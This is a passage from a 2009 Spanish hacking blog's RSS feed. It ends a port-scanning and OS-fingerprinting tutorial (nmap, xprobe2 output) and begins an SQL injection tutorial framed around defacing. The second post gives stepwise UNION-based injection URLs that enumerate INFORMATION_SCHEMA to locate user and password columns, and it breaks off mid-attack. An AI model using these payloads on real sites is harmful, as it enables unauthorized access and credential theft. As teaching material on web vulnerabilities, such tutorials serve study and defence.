/&gt;OS:=G%RUD=G)IE(R=Y%DFI=N%T=40%TOSI=S%CD=S%SI=S%DLI=S)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Network Distance: 1 hop&lt;br /&gt;&lt;br /&gt;OS detection performed. Please report any incorrect results at &lt;a href="http://nmap.org/submit/" target="_blank"&gt;http://nmap.org/submit/&lt;/a&gt; .&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 28.029 seconds&lt;br /&gt;]&lt;br /&gt;&lt;br /&gt;Bueno pudieron apreciar que nmap reacciono casi de la misma manera que con el 2do intento con un scaneo de puertos sencillo en los protocolos /tcp pero en este caso usamos el argumento -O para scanear el posible sistema operativo, como funciona? nmap envia cadenas especializadas a dos puertos especificos uno cerrado y uno abierto, estolo hace con el proposito de que cada sistema operativo reacciona de manera diferente a estas peticiones y como pudieron ver el scanner tubo problemas descubriendo el server que como mencione antes era ubuntu 8.10 pero igual vean los primeros resultados que se acercan a lo que queremos:&lt;br /&gt;&lt;br /&gt;[ OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC ]&lt;br /&gt;&lt;br /&gt;Los comandos basicos de nmap los pueden ir encontrando poco a poco que tal si cambiamos un poco los comandos para que vallan haciendose una idea y familiarizandose con dicho programa y la manera que tenemos como siempre de llagar a nuestro objetivo en este caso usaremos un scaneo intensivo pero rapido que se supone que nos arroje los resultados mas imprecindibles..&lt;br /&gt;&lt;br /&gt;[go0ns  @squad # nmap -T Aggressive -A -v 192.168.56.1&lt;br /&gt;&lt;br /&gt;Starting Nmap 4.60 ( &lt;a href="http://nmap.org/" target="_blank"&gt;http://nmap.org&lt;/a&gt; ) at 2009-06-27 01:43 GMT&lt;br /&gt;Initiating ARP Ping Scan at 01:43&lt;br /&gt;Scanning 192.168.56.1 [1 port]&lt;br /&gt;Completed ARP Ping Scan at 01:43, 0.02s elapsed (1 total hosts)&lt;br /&gt;Initiating Parallel DNS resolution of 1 host. at 01:43&lt;br /&gt;Completed Parallel DNS resolution of 1 host. at 01:43, 13.00s elapsed&lt;br /&gt;Initiating SYN Stealth Scan at 01:43&lt;br /&gt;Scanning 192.168.56.1 [1715 ports]&lt;br /&gt;Discovered open port 25/tcp on 192.168.56.1&lt;br /&gt;Discovered open port 80/tcp on 192.168.56.1&lt;br /&gt;Discovered open port 110/tcp on 192.168.56.1&lt;br /&gt;Discovered open port 2500/tcp on 192.168.56.1&lt;br /&gt;Discovered open port 1241/tcp on 192.168.56.1&lt;br /&gt;Completed SYN Stealth Scan at 01:43, 0.55s elapsed (1715 total ports)&lt;br /&gt;Initiating Service scan at 01:43&lt;br /&gt;Scanning 5 services on 192.168.56.1&lt;br /&gt;Completed Service scan at 01:43, 11.47s elapsed (5 services on 1 host)&lt;br /&gt;Initiating OS detection (try #1) against 192.168.56.1&lt;br /&gt;SCRIPT ENGINE: Initiating script scanning.&lt;br /&gt;Initiating SCRIPT ENGINE at 01:43&lt;br /&gt;Completed SCRIPT ENGINE at 01:43, 5.05s elapsed&lt;br /&gt;Host 192.168.56.1 appears to be up ... good.&lt;br /&gt;Interesting ports on 192.168.56.1:&lt;br /&gt;Not shown: 1710 closed ports&lt;br /&gt;PORT     STATE SERVICE     VERSION&lt;br /&gt;25/tcp   open  smtp        Postfix smtpd&lt;br /&gt;|_ SMTP: HELP with errors or timeout.  Enable --script-trace to see what is happening.&lt;br /&gt;80/tcp   open  http        Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)&lt;br /&gt;|_ HTML title: Index of /&lt;br /&gt;110/tcp  open  pop3        hotwayd pop3d 0.8.4&lt;br /&gt;1241/tcp open  ssl/unknown&lt;br /&gt;2500/tcp open  smtp-proxy  hotsmtpd based on hotwayd 0.8.4&lt;br /&gt;MAC Address:  (Unknown)&lt;br /&gt;Device type: general purpose&lt;br /&gt;Running: Linux 2.6.X&lt;br /&gt;OS details: Linux 2.6.13 - 2.6.23&lt;br /&gt;Uptime: 0.089 days (since Fri Jun 26 23:35:55 2009)&lt;br /&gt;Network Distance: 1 hop&lt;br /&gt;TCP Sequence Prediction: Difficulty=201 (Good luck!)&lt;br /&gt;IP ID Sequence Generation: All zeros&lt;br /&gt;Service Info: Host:  go0ns.s3rver&lt;br /&gt;&lt;br /&gt;Read data files from: /usr/local/share/nmap&lt;br /&gt;OS and Service detection performed. Please report any incorrect results at &lt;a href="http://nmap.org/submit/" target="_blank"&gt;http://nmap.org/submit/&lt;/a&gt; .&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 33.036 seconds&lt;br /&gt;          Raw packets sent: 1735 (77.100KB) | Rcvd: 1731 (80.266KB)  ]&lt;br /&gt;&lt;br /&gt;Uff que lectura mas larga pero vamos a ver que datos contiene que nos pueden ayudar y ya se habran dado de cuenta de la gran diferencia con los resultados y el cambio de Parametros.&lt;br /&gt;&lt;br /&gt;Veamos primero el scan y estas opciones para ver lo que relativamente es importante antes de probar este de ahora tratamos de identificar el sistema operativo lo que realizo fue adivinar el sistema operativo pero esta vez logramos de dar con el mismo mas especificamente y dar con los servicios que gestiona el mismo como los deamons miremos:&lt;br /&gt;&lt;br /&gt;[ PORT     STATE SERVICE     VERSION&lt;br /&gt;25/tcp   open  smtp        Postfix smtpd&lt;br /&gt;|_ SMTP: HELP with errors or timeout.  Enable --script-trace to see what is happening.&lt;br /&gt;80/tcp   open  http        Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)&lt;br /&gt;|_ HTML title: Index of /&lt;br /&gt;110/tcp  open  pop3        hotwayd pop3d 0.8.4&lt;br /&gt;1241/tcp open  ssl/unknown&lt;br /&gt;2500/tcp open  smtp-proxy  hotsmtpd based on hotwayd 0.8.4 ]&lt;br /&gt;&lt;br /&gt;Como podemos ver identifica nuevamente los puertos ya mencionados asi como los servicios y la version y magicamente identifica el sistema operativo que gestiona el server :&lt;br /&gt;&lt;br /&gt;[ Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch ]&lt;br /&gt;&lt;br /&gt;Sonrisa y la otra parte relativamente importante es que identifica la version de los servicios aunque esto no es tan fundamental por que puede que sea un falso asi como uno correcto pero aqui es que llega la intuicion del auditor de usar la logica ya que puedes ir teoricamente buscando cual es la version real de dicho servicio con la identificacion del sistema operativo.&lt;br /&gt;&lt;br /&gt;y que resume esto? que podemos darnos con el escenario que la aplicacion web no es vulnerable pero si los servicios o deamons del mismo y podemos vulnerarla por ahi xD ELEMENTAL NO?&lt;br /&gt;&lt;br /&gt;por eso es que es bien importante los scaneos de identificacion por que de muchas maneras puedes encontrar las vulnerabilidades si no lo son a nivel web son a nivel server pero siempre encontraras algo.Sigamos&lt;br /&gt;&lt;br /&gt;[ OS details: Linux 2.6.13 - 2.6.23  ]&lt;br /&gt;&lt;br /&gt;Nos indica mas o menos el kernel que corre bajo el sistema operativo pero no siempre se da este caso del mismo las mayoria de las veces lo atina..&lt;br /&gt;&lt;br /&gt;otra de las herramientas que podemos encontrar por la jungla de la web es xprobe2 para la identificacion de sistemas operativos veamos:&lt;br /&gt;&lt;br /&gt;[ go0ns.squad # xprobe2 -v  192.168.56.1&lt;br /&gt;&lt;br /&gt;   * Primary guess:&lt;br /&gt;   * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.22" (Guess probability: 100%)&lt;br /&gt;   * Other guesses:&lt;br /&gt;   * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.23" (Guess probability: 100%)&lt;br /&gt;   * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.21" (Guess probability: 100%)&lt;br /&gt;   * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.20" (Guess probability: 100%)&lt;br /&gt;   * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.19" (Guess probability: 100%)&lt;br /&gt;   * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.24" (Guess probability: 100%)&lt;br /&gt;   * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.25" (Guess probability: 100%)&lt;br /&gt;   * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.26" (Guess probability: 100%)&lt;br /&gt;   * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.27" (Guess probability: 100%)&lt;br /&gt;   * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.28" (Guess probability: 100%)&lt;br /&gt;   * Cleaning up scan engine&lt;br /&gt;   * Modules deinitialized&lt;br /&gt;   * Execution completed  ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;casi igual como nmap lo unico que este tiene tareas mas especificas en la identificacion de sistemas operativos y nos arroja el mismo resultado que muchas veces pued confundir pero a medida que vallan perfeccionando las tecnicas dan con los mismos.&lt;br /&gt;&lt;br /&gt;Otra herramienta que nos puede ayudar en la identificacion de sistemas y objetivos de la informacion del mismo es Maltego que se puede descargar desde Paterva.com con la que pueden sacar emails,directorios,archivos,dominios,sub dominios y otras cosas del servidor identificado.&lt;br /&gt;&lt;br /&gt;entonces que es lo que quiero adentrar y detallar mas aqui solo queria explicarles que para identificar vulnerabilidades en un servidor no tienes primero que comenzar por la aplicacion web nesesariamente con tan solo con la identificacion misma del sistema puedes abrir muchas posibilidades a descubrir muchas mas cosas que solo las vulnerabilidades que tiene la web o el servidor...&lt;br /&gt;&lt;br /&gt;si ya saben que pueden encontrar una aplicacion web en un servidor que no sea vulnerable que buscas por lados y no encuentras nadas pero se te olvido buscar los servicios que tiene el server pero cuando scaneas encuentras que tiene varios deamons que son vulnerables como el mencionado arriba que gestiona el correo postfix donde corre el servicio smpt y supongamos que ese servicio contiene un deamon que sea vulnerable a un buffer overflow o (desbordamiento) como quieran decirle entonces BINGO !!! haz encontrado algo al menos en mi servidor local solo hay muy ocos servicios gestionandose.&lt;br /&gt;&lt;br /&gt;pero siempre alla fuera en la jungla encontrarn muchicimo mas como servicios de mysql,mssql,u otras cosas interesantes..&lt;br /&gt;&lt;br /&gt;entonces siempre recuerden que la identificacion de sistemas es lo primero que debemos hacer a la hora de buscar vulnerabilidades en una web por que puedes llegar a encontrar puertas abiertas sin tener que registrar la aplicacion web y no te imaginas las posibilidades que hay dentro del mismo..&lt;br /&gt;&lt;br /&gt;si si te preguntas SE PUEDE USAR NMAP PARA BUSCAR VULNERABILIDADES? no y si por que no te identificara las vulnes de primera instancia pero realiza algunas cadenas de reglas como metodos de scan que te audarian a identificar servicios sin actualizacion vulnerables a algunos ataques..&lt;br /&gt;&lt;br /&gt;espero que esta breve explicacion sobre la importancia de la identificacion y puertos de un sistema les haya gustado ya Breve Pasamos al proximo Paper y Aqui les dejo una listita de algunas herramientas que te ayudarian en este renglon:&lt;br /&gt;nmap&lt;br /&gt;Zenmap&lt;br /&gt;Amap&lt;br /&gt;Maltego&lt;br /&gt;httprint&lt;br /&gt;unicornscan&lt;br /&gt;xprobe&lt;br /&gt;&lt;br /&gt;son herramientas con usos similares pero les pueden acomodar tareas especificas para sacarle provecho...&lt;br /&gt;&lt;br /&gt;Greetz: JosS,alevsk,ANTRAX,h4n0wars,e-r00t.org,security-shell members,Darvein,y mis hijos por crecer tan rapido carajo xD..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;###########&lt;br /&gt;#blood_rec#&lt;br /&gt;###########&lt;br /&gt;&lt;br /&gt;para leer el papel mas completo:&lt;br /&gt;&lt;a href="http://clubhacker.66ghz.com/tutes/analisis_identificacion_puertos.txt"&gt;Link&lt;/a&gt;&lt;br /&gt;&lt;a href="http://foro.el-hacker.com/index.php/topic,185226.0.html"&gt;Link&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-7908767744237011364?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/eK7BtdjqTSA" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-29T22:21:15.416-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/07/analisis-de-puertosidentificacion-de.html</feedburner:origLink></item><item><title>Cubriendo Y Aplicando Teorias De Inyecion Sql</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/xo9lNSI9CFs/cubriendo-y-aplicando-teorias-de.html</link><category>manuales</category><category>SQL Inyection</category><category>papers</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Wed, 29 Jul 2009 20:14:04 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-3097000347906938558</guid><description>&lt;blockquote&gt; ###################################&lt;br /&gt;#Author: blood_rec                #&lt;br /&gt;#Colaborators: Georgio            #&lt;br /&gt;#blog: http://h4xxor.blogspot.com #&lt;br /&gt;#web: http://e-r00t.org           #&lt;br /&gt;#contact: blood_rec   @el-hacker.org #&lt;br /&gt;###################################&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;##################################&lt;br /&gt;# Cubriendo Y Aplicando Teorias De Inyecion Sql                &lt;br /&gt;##################################&lt;br /&gt;==================================&lt;br /&gt;A-Introduccion:&lt;br /&gt;&lt;br /&gt;Este Paper pretende cubrir 2 areas Teoria Y Practica si no te gusta leer mucho simplemente Erase (borra) el paper con este paper pretendemos cubrir todo lo referente recopilando info y con los conocimientos limitados que tenemos queremos simplemente dar una guia referente al tema es como el Paper de "Defacing De La Manera Correcta" pero esta vez con practicas y lectura para entretener al usuario que quiere adentrarse en el tema del defacing.&lt;br /&gt;&lt;br /&gt;es imprecindible que no traten de saltar ninguna area ya que pretendemos cubrir lo mas extenso posible para que tenga un buen enfasis de lo que realizan y el escenario que enfrentaremos alla afuera en la web&lt;br /&gt;&lt;br /&gt;ya e escribido varias veces sobre las vulnerabilidades webs y ciertamente cada vez que pasan los dias la tecnologia y la web se va moviendo a pasos Agigantados hasta el punto que se a vuelto en el medio publicitario mas grande de estos dias.&lt;br /&gt;&lt;br /&gt;pero a medida que nos movemos muchos quieren convertirse en desarrolladores de aplicaciones asi como webmasters u administradores de servidores webs,la competencia es amplia y asi como es amplia las vulnerabilidades aumentan asi como las viejas (vulnerabilidades) siguen haciendo presencia en nuestros scripts (me incluyo) por que estamos sujetos a cometer errores con nuestras aplicaciones.&lt;br /&gt;&lt;br /&gt;ya los que me conocen saben que soy bien teorico en este tema y me gusta abarcar el medio Pero Por que lo hago? el conocimiento del hombre esta bajo unas letras y mientras mas entendamos el tema podemos aplicar todo lo que se explica dentro de el.&lt;br /&gt;&lt;br /&gt;En este paper estaremos cubriendo las areas mencionadas en el menu arriba y asumimos que la practica la llevaras a cabo en tu servidor local L.A.M.P &lt;&gt; W.A.M.P, sea el escenario en una red LAN de tu propiedad o el escenario ya mencionado pero asumimos que todo es con motivo educacional y proponiendo los problemas ya mencionados en el tema.&lt;br /&gt;&lt;br /&gt;asumimos que si estas leyendo este paper tienes conocimientos basicos de php si no es asi puedes pasar por http://php.net y ahi podras encontrar mucha info al respecto, asi como puedes encontrar informacion en http://google.com = search - php manuales xD. y pases por el buscador a buscar referencias sobre lo que no entiendan asi como los otros lenguajes al menos conocimientos basicos como en perl,html,javascript etc pero al menos lo basico...&lt;br /&gt;&lt;br /&gt;Segun Wikipedia:&lt;br /&gt;SQL Injection es una vulnerabilidad en el nivel de la validación de las entradas a la base de datos de una aplicación. Una inyección SQL sucede cuando se inserta o “inyecta” un código SQL “invasor” dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el&lt;br /&gt;código “invasor en la base de datos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;bueno a lo que vivnimos...&lt;br /&gt;#####################################&lt;br /&gt;B-Inyecciones SQL (SQL Injections):&lt;br /&gt;&lt;br /&gt;Primero asumo que llegastes a este manual por que quieres aprender como se realiza este ataque y muchas veces debes haber leido esta explicacion pero muchos que empieza este tema pues aun no se enteran de que se trata esto y que significa pues como lectura obligatoria pongo su significado.&lt;br /&gt;&lt;br /&gt;Inyeccion Sql Es cuando un comando SQL que es un lenguaje de gestion de datos es ejecutado con las intenciones de obtener data de una base de datos,en palabras mas tecnicas estamos haciendo una consulta arbitraria  de un comando peviamente establecido., y de esa manera manipulamos la aplicacion que queremos.&lt;br /&gt;&lt;br /&gt;No es algo muy avanzado ni muy nuevo en nuestro mundo under y realmente se pregunta constantemente pero que herramientas debo usar para hacer inyecciones sql's ?&lt;br /&gt;&lt;br /&gt;realmente no nesesitas muchas tools con solo firefox bastara xD http://mozzila.org/firefox ,...&lt;br /&gt;&lt;br /&gt;explotar validaciones de aplicaciones que se gestiones por base de datos mysql son el escenario que realmente perseguimos o un ejemplo de probar dicha vulnerabilidad,...&lt;br /&gt;&lt;br /&gt;Obviamente no puedo llenarlos de letras explicando todo esto todo el dia por que igual me criticarian y a mi me facina escribir pero en fin vallamos mas adelante:&lt;br /&gt;&lt;br /&gt;1-Detectando La Vulnerabilidad:&lt;br /&gt;Bueno lo primero que nesesitaremos es obviamente la curiosidad y la malicia pongamos el escenario asi; entramos en una pagina dinamica en php y nos pide una autentificacion., obviamente no la tenemos y tendremos que registrarnos interactuando con una forma en php que asi mismo ella interactua con una base de datos para incluir el usuario.&lt;br /&gt;&lt;br /&gt;ok para saber como interactuan ambas sabmos que cuando registras un usuario en una forma y queda registrado en la base de datos quedan guardados en una tabla o en muchas de ellas seria en la tabla de miembros y el usuario asi como el password quedan guardados en diferentes columnas., detente si no tienes idea de esto es hora que te pases por http://wikipedia.org/SQL .&lt;br /&gt;&lt;br /&gt;Cuanod te logeas en la forma la aplicacion busca la DATA del usuario en la tabla del usuario que proporcionastes asi como el password, asi la aplicacion despues de encontrar el usuario y contrasena que suplistes te dejara logearte en dicha aplicacion., si se diera el caso que los datos son icorrectos pues la aplicacion te lo informara que los datos son icorrectos o el usuario que proporcionaste no existe etc., ya a de haberle pasado alguna vez..&lt;br /&gt;&lt;br /&gt;SQL puede darte estos datos en pantalla tambien y mostrar la informacion dentro de una palicacion web., eso en el ejemplo de las formas de logeo asi como si la aplicacion tiene una seccion de posteo de links pues tendra una tabla en la base de datos que guarda y gestiona los links publicados, lo mismo para noticias, una tabla que guardara los nombres de las noticias, en este caso la mayoria de las veces estas noticias u cosas,artculos se identifican la mayoria de las veces en las tablas por un numero.&lt;br /&gt;&lt;br /&gt;como nos damos de cuenta cual es ese numero si miramos la url del sitio que estamos probando dira o sera asi&lt;br /&gt;&lt;br /&gt;---&gt; [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=69 ]&lt;br /&gt;&lt;br /&gt;la url le dice al sitio ue mire la tabla que tiene el nombre del articulo que es :&lt;br /&gt;&lt;br /&gt;[ ArticuloID que es "69" ]&lt;br /&gt;&lt;br /&gt;Una vez que el sitio busca la tabla del "ArticuloID" que se Busca la misma linea que se llama "Titulo" Dentro de la columna y la muestra en tu navegador.&lt;br /&gt;&lt;br /&gt;En este otro caso veremos "lammer" como titulo de nuestro Articulo, recuerden que es bien importante ver que esta escrito despues de '=' que es parte de un comando SQL siempre tengamos eso en mente:&lt;br /&gt;####################&lt;br /&gt;#Articulo_Id#Titulo#&lt;br /&gt;#===========#======#&lt;br /&gt;#69         #lammer#&lt;br /&gt;#70         #kiddie#&lt;br /&gt;#71         #noob  #&lt;br /&gt;####################&lt;br /&gt;&lt;br /&gt;OK y entonces que es lo que debemos hacer ya que tenemos nuestra victima? ok ejecutaremos comandos manualmente a ver si nuestra aplicacion es vulnerable,realizando nuestras consultas via navegador (firefox) xD, ejecutaremos ese comando siempre despues de '=' si es el caso que queremos inyectar en la forma que nos muestra los articulos,etc., si es el caso que es una forma de autentificacion sease usuario + password pues los comandos los ejecutaremos en los campos mencionados. como una barra de busqueda una barra de usuario o password.&lt;br /&gt;&lt;br /&gt;si es vulnerable siempre el sitio hara lo que le digas que haga solo manipulando las consultas SQL xD&lt;br /&gt;&lt;br /&gt;Es muy importante siempre leer y aprender sobre lo que estas haciendo aprender los comandos y todo aplicarlo a full ya que de esa manera la practica te hara un maestro. Memorizarte poco a poco te hara bien y entonces nos familiarizamos con algunos comandos SQL:&lt;br /&gt;&lt;br /&gt;#######################&lt;br /&gt;Comando                      ##                                     Uso                                         #&lt;br /&gt;=======================&lt;br /&gt;ORDER BY               Le Ordena Al sitio que nos muestre la columna en la misma pagina que estamos visualizando#&lt;br /&gt;OR                     El Comando se usa si una sentencia es verdadera dentro de la consulta SQL                #&lt;br /&gt;+                      Se Usa En Vez De Usar Espacio Lease,Entiendase la tecla de Espacio [Space]               #&lt;br /&gt;--                     Termina Una sentencia de comandos SQL asi como lasm ';' en perl etc                      #                 &lt;br /&gt;AND                    Ambas consultas tienen que ser verdaderas dentro de la base de datos Para ser llevada    #&lt;br /&gt;UPDATE                 Cambia la informacion dentro de una Columna O Una Tabla                                  #&lt;br /&gt;SELECT                 Especifica Informacion En una Tabla                                                      #&lt;br /&gt;##################################&lt;br /&gt;&lt;br /&gt;La manera mas sencilla de aplicar una inyeccion sql,es burlando autentificaciones,que son nada mas o menos que las autentificaciones de usuario y password:&lt;br /&gt;&lt;br /&gt;pero en este caso probaremos con una consulta bien elemental dentro del mundo de las inyecciones sql y es con tan simple el uso de (') comilla , sabemos que en la forma el usuario y el password esta rodeado de comillas simples "'" entonces si sometemos a la forma una simple comilla te arrojara un error dado que hay 2 "'" (comillas) invisbles en la forma si sometemos a' te arrojara el error comun cuando hay un error de consulta SQL en el servidor obviamente nos daremos cuenta pero que realmente esta pasando detras de nostros ?:&lt;br /&gt;&lt;br /&gt;cuando sometimos ' el servidor envio una consulta a la base de datos para interpretar ' que en los campos mencionados arriba estan rodeados de ellas 'usuario' seria el ejemplo al servidor no encontrar nada en la base de datos que consulte ese comando ni en las tablas ni en las lineas ni en las columnas por ende es un error del programador (entiendase) una vulnerabilidad aunque no en todos los casos.&lt;br /&gt;&lt;br /&gt;siempre dentro de una base de datos tenemos el INFORMATION_SCHEMA que guarda cada nombre de las tablas y de las columnas de un sitio en siempre un servidor tendra el INFORMATION_SCHEMA como dato obvio su nombre nunca cambiara las tablas dentro de INFORMATION_SCHEMA que guarda los nombres de las otras tablas tendran una tabla dentro que se llamara INFORMATION_SCHEMA.TABLES el nombre de la columna que guarda la informacion que practicamente queremos se llama a su vez table_name la tabla que guarda el nombre de las otras columnas dentro de INFORMATION_SCHEMA se llama INFORMATION_SCHEMA.COLUMNS y sucesivamente la columna que guarda la informacion que queremos de esta parte se llama column_name recuerden que esto es dentro de INFORMATION_SCHEMA.COLUMNS., ya se les esta haciendo claro no?. xD&lt;br /&gt;&lt;br /&gt;como explique antes podemos siempre encontrar la caracteristica que el sitio web que gestiona la base de datos siempre tiene "=" en su URL por ende que para ejecutar los comandos tenemos que hacerlo luego de "=" ok simplemente prueba con los comandos o consultas despues de...&lt;br /&gt;&lt;br /&gt;ok vamos a nuestro escenario imaginario:&lt;br /&gt;&lt;br /&gt;estamos navegando y nos encontramos nuevamente con la web:&lt;br /&gt;&lt;br /&gt;--&gt; [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10 ]&lt;br /&gt;&lt;br /&gt;ok vamos a determinar si es vulnerable&lt;br /&gt;&lt;br /&gt;--&gt; [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=0-- ]&lt;br /&gt;&lt;br /&gt;bueno aqui lo que paso fue lo siguiente es que se supone que se muestre el articulo 10 solo se mostrara si 1 es igual que 0, en este caso  "AND" significa que para que el articulo 10 se muestre en el sitio debe existir (en la base de datos) "AND" 1 debe ser igual que 0, esto ocacionara que no se muestre el articulo ya que 1 no es igual que 0 .&lt;br /&gt;&lt;br /&gt;--&gt; [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=1-- ]&lt;br /&gt;&lt;br /&gt;se muestra el articulo 10 si el 1 es igual que el 1 .,el articulo se mostrara en la pagina ya que "AND" 1 es igual que 1 .,Ahoea sabemos que la aplicacion es vulnerable ya que se muestra cuando queremos y no lo haces cuando queremos xD., es hora de continuar con nuestro ataque ;-)&lt;br /&gt;Ahora queremos encontrar las columnas de nuestro sitio:&lt;br /&gt;&lt;br /&gt;--&gt; [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+1-- ]&lt;br /&gt;&lt;br /&gt;"ORDER BY 1" donde esta "1" es el numero de la columna lo que hace es mostrarnos la primera columna en la pagina.,"ORDER BY 2" nos mostrara la 2 columna en la pagina., sucesivamente vamos aunmentando los valores del numero sumandole (+) uno   hasta que nos muestre un error en la pagina y entonces cuando nos muestra el error la restamos uno de los numeros que pusimos y no te olvides de ese numero por ejemplo si sumastes numeros y te dio el error cuando pusistes hasta 6 entonces seria asi:&lt;br /&gt;&lt;br /&gt;--&gt; [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+5-- ]&lt;br /&gt;&lt;br /&gt;bueno ya sabemos que tiene 5 columnas la aplicacion., ahora queremos conseguir el nombre de las tablas que ya arriba habiamos mencionado este comando pues eso lo haremos de esta manera:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,4,5+FROM+INFORMATION_SCHEMA.TABLES-- ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OK expliquemos esa sentencia SELECT Le indica al sitio que muestre la informacion de la tabla que usted especifica.,en este caso acabamos remplazando el numero del articulo que era 69 por un caracter negativo "-".,recordemos tambien que en pasos anteriores para buscar la columna ibamos sumandole numeros y agregandolos a la url pues en este caso los vamos poniendo uno al lado del otro separados de una coma "," (1,2,3,4,5).&lt;br /&gt;&lt;br /&gt;Se supone que a estas alturas uno de esos numeros que pusistes en la consulta de la URL al menos uno se muestre en el website (pantalla).&lt;br /&gt;&lt;br /&gt;ahora lo que iremos es remplazando los numeros en la URL por palabras si se van mostrando en la pantalla..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES-- ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Recuerden que deben remplazar un al menos uno de los numeros con "nombre_tabla" que es el nombre de la tabla.,FROM+INFORMATION_SCHEMA.TABLES recuerden tambien que esto te mostrara el nombre de la tabla que ya eso lo explicamos arriba.,el nombre de la tabla numero 4 que fue la que remplazamos se mostrara en la pantalla.,...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+nombre_tabla&gt;'displayed_table'-- ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Estamos seguros que "nombre_tabla" no es la que buscamos y la que queremos es la que tiene los usuarios y los passwords.,para navegar una lista de tablas y encontrar la tabla correcta agregamos:&lt;br /&gt;&lt;br /&gt;[+WHERE+nombre_tabla&gt;'displayed_table']&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Displayed_table muestra la tabla incorrecta despues de TABLES por ende este comando displayed_table nos muestra la tabla siguiente despues de.,entonces lo que hacemos es que repetimos el paso anterior hasta que nos muestre una tabla deseada que en este caso la que queremos es la que contenga los usuarios.,ya cuando la consigas no olvides el nombre de la tabla que querias.,&lt;br /&gt;&lt;br /&gt;Ahora queremos sacar nuestra columna o nombre de la columna:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_S&lt;br /&gt;CHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'-- ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Entonces FROM+INFORMATION_SCHEMA.COLUMNS lo que hace es mostrarnos el nombre de las columnas en la tabla 'CuentasUsuarios'.,ahora en vez de mostrarse el nombre de la tabla se mostrara el nombre de la columna en la tabla 'CuentasUsuarios'..&lt;br /&gt;&lt;br /&gt;como en pasos anteriores tenemos un blanco especifico y ahora en este caso buscar la columna especifica:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'+AND+nombre_columna&gt;'displayed_column'-- ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;como reiteradamente mencione antes,queremos buscar la columna especifica de igual manera que hicimos para conseguir la tabla de usuarios antes.,si lo que queremos son los usuarios y passwords pues sabemos que debemos buscar las columnas que tengan nombres similares a usuarios,passwords,user,pass,logeo,acceso etc.&lt;br /&gt;&lt;br /&gt;el comando anterior lo que hace es mostrar la columna que va siguiente a la mostrada que habiamos sacado previamente, y como ya mencione en el paso de sacar las tablas repetiremos los pasos hasta dar con la columna que queremos.&lt;br /&gt;&lt;br /&gt;y ya dimos supuestamente con las columnas que queriamos que se llaman 'usuario' 'acceso' no olvidemos estas columnas tampoco,asumiendo que apuntaron los resultados para tener nuestra inyeccion final recordamos que los datos serian asi&lt;br /&gt;&lt;br /&gt;##################################&lt;br /&gt;#Nombre de Tabla         Columnas#&lt;br /&gt;##################################&lt;br /&gt;#CuentasUsuarios         usuario #&lt;br /&gt;#                         acceso #&lt;br /&gt;##################################&lt;br /&gt;&lt;br 